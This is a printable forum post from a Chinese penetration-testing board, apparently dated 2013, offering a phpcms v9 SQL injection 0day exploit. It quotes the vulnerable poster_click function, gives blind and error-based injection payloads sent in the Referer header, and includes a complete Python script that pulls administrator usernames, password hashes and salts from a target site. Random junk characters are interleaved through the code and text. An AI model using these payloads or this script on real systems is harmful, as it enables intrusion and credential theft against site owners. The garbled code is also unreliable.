中国网络渗透测试联盟

标题: phpcms post_click注入0day利用代码 [打印本页]

作者: admin    时间: 2013-1-11 21:01
标题: phpcms post_click注入0day利用代码
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:! o$ [& {" w+ G

$ k1 F* H% l& }4 j* k3 ?) u问题函数\phpcms\modules\poster\index.php! J8 o- s4 G# v9 k0 s- `, Q/ ~6 ?

; }6 P3 V: A* I* ?public function poster_click() {; G* z; S: S. Y" D5 x& G
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;2 B( G5 A) R4 I' e( V5 p
$r = $this->db->get_one(array('id'=>$id));
8 e! V0 d  H( n3 lif (!is_array($r) && empty($r)) return false;
6 G9 z5 _) g5 F% t& }) {6 w: a$ ?3 _$ip_area = pc_base::load_sys_class('ip_area');( Z  G! e7 l+ e) m. |/ V3 [0 m! i
$ip = ip();+ i9 ]) l! d5 E$ U# _
$area = $ip_area->get($ip);9 I+ D5 @/ @6 j/ [
$username = param::get_cookie('username') ? param::get_cookie('username') : '';. y; f% l8 P# d% G6 n. ^
if($id) {3 V3 t1 T$ R1 H# o. e5 l
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();6 Q; L2 X( q- ]4 X- E
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
$ M1 T7 i: _( f* c, k3 t* ^}
0 u3 R$ d% I5 j' ?9 ~" J$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
- V1 X& {, L/ A, }+ F. d, ^$setting = string2array($r['setting']);2 Z+ Q( D% X; `; H! l
if (count($setting)==1) {( Y2 y* g0 _5 S% m2 i7 y" m
$url = $setting['1']['linkurl'];
2 J" p1 z4 Q! v+ F} else {
$ J/ S7 p$ @- E' a$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
8 a2 v4 V6 P- B- m! T4 J4 g/ F}
) r1 L& }: i6 Y6 ?header('Location: '.$url);5 T& S7 V4 x. h1 V9 Y: ?5 o+ d# X
}( G' F5 V8 ]& m

& E+ v; Q, B1 S* G# O+ D
% v( ^: x/ j+ z1 l: G& u2 B% k
, B& X; h1 n9 U1 W利用方式:5 P9 e6 E: S, @
7 U  X9 V5 P. x2 }% u
1、可以采用盲注入的手法:, i& q, `8 `7 ~" p, d! I

9 q. v' ]. h/ {& S8 a& _/ hreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#7 d2 x* ]1 \0 s" W; V0 t

% {1 c9 R1 y/ l( C通过返回页面,正常与否一个个猜解密码字段。' j5 f7 O' z6 B- I$ X8 g

# Z/ I/ x2 @) Q& L. p2、代码是花开写的,随手附上了:
8 I- T+ K: c) `3 ^1 O
6 H$ F5 _" u% v; O4 U) O8 B1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#6 i" ~. G  c7 U& E7 x

, S6 D6 _: D% k9 z" e4 d& T此方法是爆错注入手法,原理自查。4 v# C, h5 @6 E7 `1 g6 K7 H' ?8 a
# S, }" Z3 H, V( t

2 w7 m% T$ E$ o0 w7 W! z/ i
8 g$ Z- H2 x" N0 _2 T利用程序:
5 h) I. R) q9 t. }8 o; D
& S- G1 m) p2 }' i#!/usr/bin/env python
  o6 h. I: z3 qimport httplib,sys,re
  X/ w" v" \" K9 {% `% h$ o% E6 ]0 S% q) ^
def attack():
0 V+ r# k  r. B+ m* _! |# K9 F$ Fprint “Code by Pax.Mac Team conqu3r!”8 x0 K- I1 A! ~. `; R- Q
print “Welcome to our zone!!!”1 d$ |' f4 k& X. p0 q
url=sys.argv[1]
6 w# n2 V2 F9 k6 r6 N. npaths=sys.argv[2]' W0 k) }- o- @; G% Q$ b' g
conn = httplib.HTTPConnection(url)
- p7 g" K, C: N  \+ Ti_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
$ B& J6 _/ L4 w; |0 b" U“Accept”: “text/plain”,+ p9 U; s' i  W' w
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
+ f8 n  |: u, P+ X% M+ r& Sconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers): L0 F. `- F# H+ |% o/ C* e# Q; C
r1 = conn.getresponse()5 Y! [/ z- T) N  y0 o5 j  j* _: S" h
datas=r1.read()# {' w# X, o" P, S9 @
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
6 G0 T  h* N% S/ B6 _9 Rprint datas[0]
: }( _' z4 \) ?) iconn.close()0 v9 V3 T. H: M3 ^: U/ j
if __name__==”__main__”:! z7 z9 M& O4 ?/ @$ S; n! o
if len(sys.argv)<3:
5 {( a; X; r  ?( p* Eprint “Code by Pax.Mac Team conqu3r”
6 Q4 X; X- c* q  k0 `print “Usgae:”, l  u+ {5 {- M" ]3 [9 H) d
print “    phpcmsattack.py   www.paxmac.org /”
* K+ b, I, v1 [4 J6 s6 m' Pprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
8 u& D" k7 ?: jsys.exit(1)8 _' o. D2 G6 s: M4 V* @3 ~9 H
attack()% W2 n' e, X' ~  S
: M. z9 S; b' h; [





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2